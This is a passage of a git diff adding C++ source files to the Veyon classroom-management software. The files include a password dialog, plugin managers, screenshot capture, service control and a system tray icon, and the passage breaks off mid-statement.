+ } + else if( pluginInterface->flags().testFlag( Plugin::ProvidesDefaultImplementation ) ) + { + defaultPluginInterface = it.value(); + } + } + + if( defaultPluginInterface == nullptr ) + { + qCritical() << "NetworkObjectDirectoryManager: no default plugin available! configured plugin:" << configuredPluginUuid; + return nullptr; + } + + return defaultPluginInterface->createNetworkObjectDirectory( this ); +} diff --git a/core/src/PasswordDialog.cpp b/core/src/PasswordDialog.cpp new file mode 100644 index 0000000..c04b606 --- /dev/null +++ b/core/src/PasswordDialog.cpp @@ -0,0 +1,108 @@ +/* + * PasswordDialog.cpp - dialog for querying logon credentials + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "PasswordDialog.h" +#include "PlatformUserFunctions.h" + +#include "ui_PasswordDialog.h" + + +PasswordDialog::PasswordDialog( QWidget *parent ) : + QDialog( parent ), + ui( new Ui::PasswordDialog ) +{ + ui->setupUi( this ); + + ui->username->setText( VeyonCore::platform().userFunctions().currentUser() ); + + if( ui->username->text().isEmpty() == false ) + { + ui->password->setFocus(); + } + + updateOkButton(); + + VeyonCore::enforceBranding( this ); +} + + + +PasswordDialog::~PasswordDialog() +{ + delete ui; +} + + + +QString PasswordDialog::username() const +{ + return ui->username->text(); +} + + + +QString PasswordDialog::password() const +{ + return ui->password->text(); +} + + + + +AuthenticationCredentials PasswordDialog::credentials() const +{ + AuthenticationCredentials cred; + cred.setLogonUsername( username() ); + cred.setLogonPassword( password() ); + + return cred; +} + + + +void PasswordDialog::accept() +{ + if( VeyonCore::platform().userFunctions().authenticate( username(), password() ) == false ) + { + QMessageBox::critical( window(), + tr( "Authentication error" ), + tr( "Logon failed with given username and password. Please try again!" ) ); + } + else + { + QDialog::accept(); + } +} + + + +void PasswordDialog::updateOkButton() +{ + ui->buttonBox->button( QDialogButtonBox::Ok )-> + setEnabled( !username().isEmpty() && !password().isEmpty() ); +} + diff --git a/core/src/PlatformPluginManager.cpp b/core/src/PlatformPluginManager.cpp new file mode 100644 index 0000000..42c969f --- /dev/null +++ b/core/src/PlatformPluginManager.cpp @@ -0,0 +1,48 @@ +/* + * PlatformPluginManager.cpp - implementation of PlatformPluginManager + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "PluginManager.h" +#include "PlatformPluginManager.h" + + +PlatformPluginManager::PlatformPluginManager( PluginManager& pluginManager, QObject* parent ) : + QObject( parent ), + m_platformPlugin( nullptr ) +{ + for( auto pluginObject : qAsConst( pluginManager.pluginObjects() ) ) + { + auto pluginInterface = qobject_cast( pluginObject ); + auto platformPluginInterface = qobject_cast( pluginObject ); + + if( pluginInterface && platformPluginInterface ) + { + m_platformPlugin = platformPluginInterface; + } + } + + if( m_platformPlugin == nullptr ) + { + qFatal( "PlatformPluginManager: no platform plugin available!" ); + } +} diff --git a/core/src/PlatformServiceCore.cpp b/core/src/PlatformServiceCore.cpp new file mode 100644 index 0000000..d254a2d --- /dev/null +++ b/core/src/PlatformServiceCore.cpp @@ -0,0 +1,61 @@ +/* + * PlatformServiceFunctions.cpp - implementation of PlatformServiceFunctions class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "PlatformServiceCore.h" + + +PlatformServiceCore::SessionId PlatformServiceCore::openSession( const QVariant& sessionData ) +{ + for( SessionId i = 0; i <= SessionIdMax; ++i ) + { + if( m_sessions.contains( i ) == false ) + { + m_sessions[i] = sessionData; + return i; + } + } + + return SessionIdInvalid; +} + + + +void PlatformServiceCore::closeSession( SessionId sessionId ) +{ + m_sessions.remove( sessionId ); +} + + + +QVariant PlatformServiceCore::sessionDataFromId( PlatformServiceCore::SessionId sessionId ) const +{ + return m_sessions.value( sessionId ); +} + + + +PlatformServiceCore::SessionId PlatformServiceCore::sessionIdFromData( const QVariant& data ) const +{ + return m_sessions.key( data, SessionIdInvalid ); +} diff --git a/core/src/PluginManager.cpp b/core/src/PluginManager.cpp new file mode 100644 index 0000000..8522584 --- /dev/null +++ b/core/src/PluginManager.cpp @@ -0,0 +1,186 @@ +/* + * PluginManager.cpp - implementation of the PluginManager class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include + +#include "Logger.h" +#include "PluginManager.h" +#include "VeyonConfiguration.h" + + +PluginManager::PluginManager( QObject* parent ) : + QObject( parent ), + m_pluginInterfaces(), + m_pluginObjects(), + m_noDebugMessages( qEnvironmentVariableIsSet( Logger::logLevelEnvironmentVariable() ) ) +{ + initPluginSearchPath(); +} + + + +void PluginManager::loadPlatformPlugins() +{ + loadPlugins( QStringLiteral("*-platform") + VeyonCore::sharedLibrarySuffix() ); +} + + + +void PluginManager::loadPlugins() +{ + loadPlugins( QStringLiteral("*") + VeyonCore::sharedLibrarySuffix() ); + + emit pluginsLoaded(); +} + + + +void PluginManager::upgradePlugins() +{ + auto versions = VeyonCore::config().pluginVersions(); + + for( auto pluginInterface : qAsConst( m_pluginInterfaces ) ) + { + const auto pluginUid = pluginInterface->uid().toString(); + auto previousPluginVersion = QVersionNumber::fromString( versions.value( pluginUid ).toString() ); + if( previousPluginVersion.isNull() ) + { + previousPluginVersion = QVersionNumber( 1, 1 ); + } + const auto currentPluginVersion = pluginInterface->version(); + if( currentPluginVersion > previousPluginVersion ) + { + qDebug() << "Upgrading plugin" << pluginInterface->name() + << "from" << previousPluginVersion.toString() + << "to" << currentPluginVersion.toString(); + pluginInterface->upgrade( previousPluginVersion ); + } + + versions[pluginUid] = currentPluginVersion.toString(); + } + + VeyonCore::config().setPluginVersions( versions ); +} + + + +void PluginManager::registerExtraPluginInterface( QObject* pluginObject ) +{ + auto pluginInterface = qobject_cast( pluginObject ); + if( pluginInterface ) + { + m_pluginInterfaces += pluginInterface; + m_pluginObjects += pluginObject; + } +} + + + +PluginUidList PluginManager::pluginUids() const +{ + PluginUidList pluginUidList; + + pluginUidList.reserve( m_pluginInterfaces.size() ); + + for( auto pluginInterface : qAsConst( m_pluginInterfaces ) ) + { + pluginUidList += pluginInterface->uid(); + } + + std::sort( pluginUidList.begin(), pluginUidList.end() ); + + return pluginUidList; +} + + + +PluginInterface* PluginManager::pluginInterface( Plugin::Uid pluginUid ) +{ + for( auto pluginInterface : qAsConst( m_pluginInterfaces ) ) + { + if( pluginInterface->uid() == pluginUid ) + { + return pluginInterface; + } + } + + return nullptr; +} + + + +QString PluginManager::pluginName( Plugin::Uid pluginUid ) const +{ + for( auto pluginInterface : m_pluginInterfaces ) + { + if( pluginInterface->uid() == pluginUid ) + { + return pluginInterface->name(); + } + } + + return QString(); +} + + + +void PluginManager::initPluginSearchPath() +{ + QDir dir( QCoreApplication::applicationDirPath() ); + if( dir.cd( VeyonCore::pluginDir() ) ) + { + const auto pluginSearchPath = dir.absolutePath(); + if( m_noDebugMessages == false ) + { + qDebug() << "Adding plugin search path" << pluginSearchPath; + } + QDir::addSearchPath( QStringLiteral( "plugins" ), pluginSearchPath ); + } +} + + + +void PluginManager::loadPlugins( const QString& nameFilter ) +{ + auto plugins = QDir( QStringLiteral( "plugins:" ) ).entryInfoList( { nameFilter } ); + for( const auto& fileInfo : plugins ) + { + auto pluginObject = QPluginLoader( fileInfo.filePath() ).instance(); + auto pluginInterface = qobject_cast( pluginObject ); + + if( pluginObject && pluginInterface && + m_pluginInterfaces.contains( pluginInterface ) == false ) + { + if( m_noDebugMessages == false ) + { + qDebug() << "PluginManager: discovered plugin" << pluginInterface->name() << "at" << fileInfo.filePath(); + } + m_pluginInterfaces += pluginInterface; // clazy:exclude=reserve-candidates + m_pluginObjects += pluginObject; // clazy:exclude=reserve-candidates + } + } +} diff --git a/core/src/ProgressWidget.cpp b/core/src/ProgressWidget.cpp new file mode 100644 index 0000000..85b2188 --- /dev/null +++ b/core/src/ProgressWidget.cpp @@ -0,0 +1,86 @@ +/* + * ProgressWidget.cpp - widget with animated progress indicator + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#include "ProgressWidget.h" + +#include +#include + +// clazy:excludeall=detaching-member + +ProgressWidget::ProgressWidget( const QString& text, const QString& animationPixmapBase, int frames, QWidget* parent ) : + QWidget( parent ), + m_text( text ), + m_frames( frames ), + m_curFrame( 0 ) +{ + m_pixmaps.reserve( m_frames ); + + for( int i = 0; i < m_frames; ++i ) + { + m_pixmaps.push_back( QPixmap( animationPixmapBase.arg( QString::number( i+1 ) ) ) ); + } + + QFont f = font(); + f.setPointSize( 12 ); + setFont( f ); + + setFixedSize( 30 + m_pixmaps[0].width() + fontMetrics().width( m_text ), + m_pixmaps[0].height() * 5 / 4 ); + + auto t = new QTimer( this ); + connect( t, &QTimer::timeout, this, &ProgressWidget::nextFrame ); + t->start( 150 ); +} + + + +ProgressWidget::~ProgressWidget() +{ +} + + + +void ProgressWidget::nextFrame() +{ + m_curFrame = ( m_curFrame+1 ) % m_frames; + + update(); +} + + + +void ProgressWidget::paintEvent( QPaintEvent* event ) +{ + Q_UNUSED(event); + + QPainter p( this ); + p.setRenderHint( QPainter::Antialiasing ); + p.setPen( QColor( 0x55, 0x55, 0x55 ) ); + + p.setBrush( Qt::white ); + p.drawRect( 0, 0, width() - 1, height() - 1 ); + p.drawPixmap( 6, ( height() - m_pixmaps[m_curFrame].height() ) / 2 - 1, m_pixmaps[m_curFrame] ); + + p.drawText( 14 + m_pixmaps[m_curFrame].width(), 25, m_text ); +} diff --git a/core/src/QtCompat.cpp b/core/src/QtCompat.cpp new file mode 100644 index 0000000..225c8e2 --- /dev/null +++ b/core/src/QtCompat.cpp @@ -0,0 +1,166 @@ +/* + * QtCompat.cpp - functions and templates for compatibility with older Qt versions + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "QtCompat.h" + +#if QT_VERSION < 0x050600 + +// taken from qtbase/src/corelib/tools/qversionnumber.cpp + +QVector QVersionNumber::segments() const +{ + if (m_segments.isUsingPointer()) + return *m_segments.pointer_segments; + + QVector result; + result.resize(segmentCount()); + for (int i = 0; i < segmentCount(); ++i) + result[i] = segmentAt(i); + return result; +} + +QVersionNumber QVersionNumber::normalized() const +{ + int i; + for (i = m_segments.size(); i; --i) + if (m_segments.at(i - 1) != 0) + break; + + QVersionNumber result(*this); + result.m_segments.resize(i); + return result; +} + +bool QVersionNumber::isPrefixOf(const QVersionNumber &other) const Q_DECL_NOTHROW +{ + if (segmentCount() > other.segmentCount()) + return false; + for (int i = 0; i < segmentCount(); ++i) { + if (segmentAt(i) != other.segmentAt(i)) + return false; + } + return true; +} + +int QVersionNumber::compare(const QVersionNumber &v1, const QVersionNumber &v2) Q_DECL_NOTHROW +{ + int commonlen; + + if (Q_LIKELY(!v1.m_segments.isUsingPointer() && !v2.m_segments.isUsingPointer())) { + // we can't use memcmp because it interprets the data as unsigned bytes + const qint8 *ptr1 = v1.m_segments.inline_segments + InlineSegmentStartIdx; + const qint8 *ptr2 = v2.m_segments.inline_segments + InlineSegmentStartIdx; + commonlen = qMin(v1.m_segments.size(), + v2.m_segments.size()); + for (int i = 0; i < commonlen; ++i) + if (int x = ptr1[i] - ptr2[i]) + return x; + } else { + commonlen = qMin(v1.segmentCount(), v2.segmentCount()); + for (int i = 0; i < commonlen; ++i) { + if (v1.segmentAt(i) != v2.segmentAt(i)) + return v1.segmentAt(i) - v2.segmentAt(i); + } + } + + // ran out of segments in v1 and/or v2 and need to check the first trailing + // segment to finish the compare + if (v1.segmentCount() > commonlen) { + // v1 is longer + if (v1.segmentAt(commonlen) != 0) + return v1.segmentAt(commonlen); + else + return 1; + } else if (v2.segmentCount() > commonlen) { + // v2 is longer + if (v2.segmentAt(commonlen) != 0) + return -v2.segmentAt(commonlen); + else + return -1; + } + + // the two version numbers are the same + return 0; +} + +QVersionNumber QVersionNumber::commonPrefix(const QVersionNumber &v1, + const QVersionNumber &v2) +{ + int commonlen = qMin(v1.segmentCount(), v2.segmentCount()); + int i; + for (i = 0; i < commonlen; ++i) { + if (v1.segmentAt(i) != v2.segmentAt(i)) + break; + } + + if (i == 0) + return QVersionNumber(); + + // try to use the one with inline segments, if there's one + QVersionNumber result(!v1.m_segments.isUsingPointer() ? v1 : v2); + result.m_segments.resize(i); + return result; +} + +QString QVersionNumber::toString() const +{ + QString version; + version.reserve(qMax(segmentCount() * 2 - 1, 0)); + bool first = true; + for (int i = 0; i < segmentCount(); ++i) { + if (!first) + version += QLatin1Char('.'); + version += QString::number(segmentAt(i)); + first = false; + } + return version; +} + +QVersionNumber QVersionNumber::fromString(const QString &string, int *suffixIndex) +{ + QVector seg; + + const QByteArray cString(string.toLatin1()); + + const char *start = cString.constData(); + const char *end = start; + const char *lastGoodEnd = start; + const char *endOfString = cString.constData() + cString.size(); + + do { + const qulonglong value = strtoull(start, (char **) &end, 10); + if (value > qulonglong(std::numeric_limits::max())) + break; + seg.append(int(value)); + start = end + 1; + lastGoodEnd = end; + } while (start < endOfString && (end < endOfString && *end == '.')); + + if (suffixIndex) + *suffixIndex = int(lastGoodEnd - cString.constData()); + + return QVersionNumber(qMove(seg)); +} + +#endif diff --git a/core/src/Screenshot.cpp b/core/src/Screenshot.cpp new file mode 100644 index 0000000..d0f3cef --- /dev/null +++ b/core/src/Screenshot.cpp @@ -0,0 +1,158 @@ +/* + * Screenshot.cpp - class representing a screenshot + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#include +#include +#include +#include +#include +#include + +#include "Screenshot.h" +#include "VeyonConfiguration.h" +#include "Computer.h" +#include "ComputerControlInterface.h" +#include "Filesystem.h" + +Screenshot::Screenshot( const QString &fileName, QObject* parent ) : + QObject( parent ), + m_fileName( fileName ), + m_image() +{ + if( !m_fileName.isEmpty() && QFileInfo( m_fileName ).isFile() ) + { + m_image.load( m_fileName ); + } +} + + + + +void Screenshot::take( ComputerControlInterface::Pointer computerControlInterface ) +{ + QString u = computerControlInterface->user(); + if( u.isEmpty() ) + { + u = tr( "unknown" ); + } + if( !u.contains( '(' ) ) + { + u = QString( QStringLiteral( "%1 (%2)" ) ).arg( u, u ); + } + + // construct text + QString txt = u + "@" + computerControlInterface->computer().hostAddress() + " " + + QDate( QDate::currentDate() ).toString( Qt::ISODate ) + + " " + QTime( QTime::currentTime() ). + toString( Qt::ISODate ); + const QString dir = VeyonCore::filesystem().expandPath( VeyonCore::config().screenshotDirectory() ); + if( VeyonCore::filesystem().ensurePathExists( dir ) == false ) + { + QString msg = tr( "Could not take a screenshot as directory %1 " + "doesn't exist and couldn't be " + "created." ).arg( dir ); + qCritical() << msg.toUtf8().constData(); + if( qobject_cast( QCoreApplication::instance() ) ) + { + QMessageBox::critical( nullptr, tr( "Screenshot" ), msg ); + } + + return; + } + + // construct filename + m_fileName = QString( QStringLiteral( "_%1_%2_%3.png" ) ).arg( computerControlInterface->computer().hostAddress(), + QDate( QDate::currentDate() ).toString( Qt::ISODate ), + QTime( QTime::currentTime() ).toString( Qt::ISODate ) ). + replace( ':', '-' ); + + m_fileName = dir + QDir::separator() + + u.section( '(', 1, 1 ).section( ')', 0, 0 ) + m_fileName; + + const int FONT_SIZE = 14; + const int RECT_MARGIN = 10; + const int RECT_INNER_MARGIN = 5; + + m_image = QImage( computerControlInterface->screen() ); + + QPixmap icon( QStringLiteral( ":/resources/icon16.png" ) ); + + QPainter p( &m_image ); + QFont fnt = p.font(); + fnt.setPointSize( FONT_SIZE ); + fnt.setBold( true ); + p.setFont( fnt ); + + QFontMetrics fm( p.font() ); + + const int rx = RECT_MARGIN; + const int ry = m_image.height() - RECT_MARGIN - 2 * RECT_INNER_MARGIN - FONT_SIZE; + const int rw = RECT_MARGIN + 4 * RECT_INNER_MARGIN + + fm.size( Qt::TextSingleLine, txt ).width() + icon.width(); + const int rh = 2 * RECT_INNER_MARGIN + FONT_SIZE; + const int ix = rx + RECT_INNER_MARGIN + 1; + const int iy = ry + RECT_INNER_MARGIN - 2; + const int tx = ix + icon.width() + 2 * RECT_INNER_MARGIN; + const int ty = ry + RECT_INNER_MARGIN + FONT_SIZE - 2; + + p.fillRect( rx, ry, rw, rh, QColor( 255, 255, 255, 160 ) ); + p.drawPixmap( ix, iy, icon ); + p.drawText( tx, ty, txt ); + + m_image.save( m_fileName, "PNG", 50 ); +} + + + + +QString Screenshot::user() const +{ + return QFileInfo( fileName() ).fileName().section( '_', 0, 0 ); +} + + + + +QString Screenshot::host() const +{ + return fileName().section( '_', 1, 1 ); +} + + + + +QString Screenshot::date() const +{ + return QDate::fromString( fileName().section( '_', 2, 2 ), + Qt::ISODate ).toString( Qt::LocalDate ); +} + + + + +QString Screenshot::time() const +{ + return fileName().section( '_', 3, 3 ).section( '.', 0, 0 ).replace( '-', ':' ); +} + + diff --git a/core/src/ServiceControl.cpp b/core/src/ServiceControl.cpp new file mode 100644 index 0000000..1698670 --- /dev/null +++ b/core/src/ServiceControl.cpp @@ -0,0 +1,147 @@ +/* + * ServiceControl.cpp - class for controlling veyon service + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include + +#include "PlatformServiceFunctions.h" +#include "ServiceControl.h" + + +ServiceControl::ServiceControl( const QString& name, + const QString& filePath, + const QString& displayName, + QWidget* parent ) : + QObject( parent ), + m_name( name ), + m_filePath( filePath ), + m_displayName( displayName ), + m_parent( parent ) +{ +} + + + +bool ServiceControl::isServiceRegistered() +{ + return VeyonCore::platform().serviceFunctions().isRegistered( m_name ); +} + + + +bool ServiceControl::isServiceRunning() +{ + return VeyonCore::platform().serviceFunctions().isRunning( m_name ); +} + + + +void ServiceControl::startService() +{ + serviceControl( tr( "Starting service %1" ).arg( m_name ), + QtConcurrent::run( [=]() { VeyonCore::platform().serviceFunctions().start( m_name ); } ) ); +} + + + + +void ServiceControl::stopService() +{ + serviceControl( tr( "Stopping service %1" ).arg( m_name ), + QtConcurrent::run( [=]() { VeyonCore::platform().serviceFunctions().stop( m_name ); } ) ); +} + + + +void ServiceControl::registerService() +{ + serviceControl( tr( "Registering service %1" ).arg( m_name ), + QtConcurrent::run( [=]() { VeyonCore::platform().serviceFunctions().install( m_name, + m_filePath, + PlatformServiceFunctions::StartModeAuto, + m_displayName ); } ) ); +} + + + +void ServiceControl::unregisterService() +{ + serviceControl( tr( "Unregistering service %1" ).arg( m_name ), + QtConcurrent::run( [=]() { VeyonCore::platform().serviceFunctions().uninstall( m_name ); } ) ); + +} + + + +void ServiceControl::serviceControl( const QString& title, const Operation& operation ) +{ + if( m_parent ) + { + graphicalFeedback( title, operation ); + } + else + { + textFeedback( title, operation ); + } +} + + + +void ServiceControl::graphicalFeedback( const QString& title, const Operation& operation ) +{ + QProgressDialog pd( title, QString(), 0, 0, m_parent ); + pd.setWindowTitle( tr( "Service control" ) ); + + auto b = new QProgressBar( &pd ); + b->setMaximum( 100 ); + b->setTextVisible( false ); + pd.setBar( b ); + b->show(); + pd.setWindowModality( Qt::WindowModal ); + pd.show(); + + int j = 0; + while( operation.isFinished() == false ) + { + QCoreApplication::processEvents(); + b->setValue( ++j % 100 ); + QThread::msleep( 10 ); + } +} + + + +void ServiceControl::textFeedback( const QString& title, const Operation& operation ) +{ + printf( "%s", qUtf8Printable( title ) ); + + while( operation.isFinished() == false ) + { + QCoreApplication::processEvents(); + QThread::msleep( 200 ); + printf( "." ); + } +} diff --git a/core/src/SimpleFeatureProvider.cpp b/core/src/SimpleFeatureProvider.cpp new file mode 100644 index 0000000..6e9b76d --- /dev/null +++ b/core/src/SimpleFeatureProvider.cpp @@ -0,0 +1,89 @@ +/* + * SimpleFeatureProvider.cpp - implementation of SimpleFeatureProvider class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "SimpleFeatureProvider.h" + + +SimpleFeatureProvider::~SimpleFeatureProvider() +{ +} + + + +bool SimpleFeatureProvider::startFeature( VeyonMasterInterface& master, + const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + Q_UNUSED(master) + Q_UNUSED(feature) + Q_UNUSED(computerControlInterfaces) + + return false; +} + + + +bool SimpleFeatureProvider::stopFeature( VeyonMasterInterface& master, + const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + Q_UNUSED(master) + Q_UNUSED(feature) + Q_UNUSED(computerControlInterfaces) + + return false; +} + + + +bool SimpleFeatureProvider::handleFeatureMessage( VeyonMasterInterface& master, + const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) +{ + Q_UNUSED(master) + Q_UNUSED(message) + Q_UNUSED(computerControlInterface) + + return false; +} + + + +bool SimpleFeatureProvider::handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) +{ + Q_UNUSED(server) + Q_UNUSED(message) + + return false; +} + + + +bool SimpleFeatureProvider::handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) +{ + Q_UNUSED(worker) + Q_UNUSED(message) + + return false; +} diff --git a/core/src/SystemTrayIcon.cpp b/core/src/SystemTrayIcon.cpp new file mode 100644 index 0000000..b922e68 --- /dev/null +++ b/core/src/SystemTrayIcon.cpp @@ -0,0 +1,152 @@ +/* + * SystemTrayIcon.cpp - implementation of SystemTrayIcon class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "SystemTrayIcon.h" +#include "FeatureWorkerManager.h" +#include "VeyonCore.h" +#include "VeyonConfiguration.h" +#include "VeyonServerInterface.h" + + +SystemTrayIcon::SystemTrayIcon( QObject* parent ) : + QObject( parent ), + m_systemTrayIconFeature( Feature( Feature::Session | Feature::Service | Feature::Worker | Feature::Builtin, + Feature::Uid( "8e997d84-ebb9-430f-8f72-d45d9821963d" ), + Feature::Uid(), + tr( "System tray icon"), QString(), QString() ) ), + m_features( { m_systemTrayIconFeature } ), + m_systemTrayIcon( nullptr ) +{ +} + + + +void SystemTrayIcon::setToolTip( const QString& toolTipText, + FeatureWorkerManager& featureWorkerManager ) +{ + if( featureWorkerManager.isWorkerRunning( m_systemTrayIconFeature ) == false ) + { + featureWorkerManager.startWorker( m_systemTrayIconFeature, FeatureWorkerManager::UnmanagedSessionProcess ); + } + + FeatureMessage featureMessage( m_systemTrayIconFeature.uid(), SetToolTipCommand ); + featureMessage.addArgument( ToolTipTextArgument, toolTipText ); + + featureWorkerManager.sendMessage( featureMessage ); +} + + + +void SystemTrayIcon::showMessage( const QString& messageTitle, + const QString& messageText, + FeatureWorkerManager& featureWorkerManager ) +{ + if( featureWorkerManager.isWorkerRunning( m_systemTrayIconFeature ) == false ) + { + featureWorkerManager.startWorker( m_systemTrayIconFeature, FeatureWorkerManager::UnmanagedSessionProcess ); + } + + FeatureMessage featureMessage( m_systemTrayIconFeature.uid(), ShowMessageCommand ); + featureMessage.addArgument( MessageTitleArgument, messageTitle ); + featureMessage.addArgument( MessageTextArgument, messageText ); + + featureWorkerManager.sendMessage( featureMessage ); +} + + + +bool SystemTrayIcon::handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) +{ + if( m_systemTrayIconFeature.uid() == message.featureUid() ) + { + // forward message to worker + if( server.featureWorkerManager().isWorkerRunning( m_systemTrayIconFeature ) == false ) + { + server.featureWorkerManager().startWorker( m_systemTrayIconFeature, FeatureWorkerManager::UnmanagedSessionProcess ); + } + + server.featureWorkerManager().sendMessage( message ); + + return true; + } + + return false; +} + + + +bool SystemTrayIcon::handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) +{ + Q_UNUSED(worker); + + if( message.featureUid() != m_systemTrayIconFeature.uid() ) + { + return false; + } + + if( m_systemTrayIcon == nullptr && VeyonCore::config().isTrayIconHidden() == false ) + { + m_systemTrayIcon = new QSystemTrayIcon( this ); + + QIcon icon( QStringLiteral( ":/resources/icon16.png" ) ); + icon.addFile( QStringLiteral( ":/resources/icon22.png" ) ); + icon.addFile( QStringLiteral( ":/resources/icon32.png" ) ); + icon.addFile( QStringLiteral( ":/resources/icon64.png" ) ); + + m_systemTrayIcon->setIcon( icon ); + m_systemTrayIcon->show(); + } + + switch( message.command() ) + { + case SetToolTipCommand: + if( m_systemTrayIcon ) + { + m_systemTrayIcon->setToolTip( message.argument( ToolTipTextArgument ).toString() ); + } + return true; + + case ShowMessageCommand: + if( m_systemTrayIcon ) + { + m_systemTrayIcon->showMessage( message.argument( MessageTitleArgument ).toString(), + message.argument( 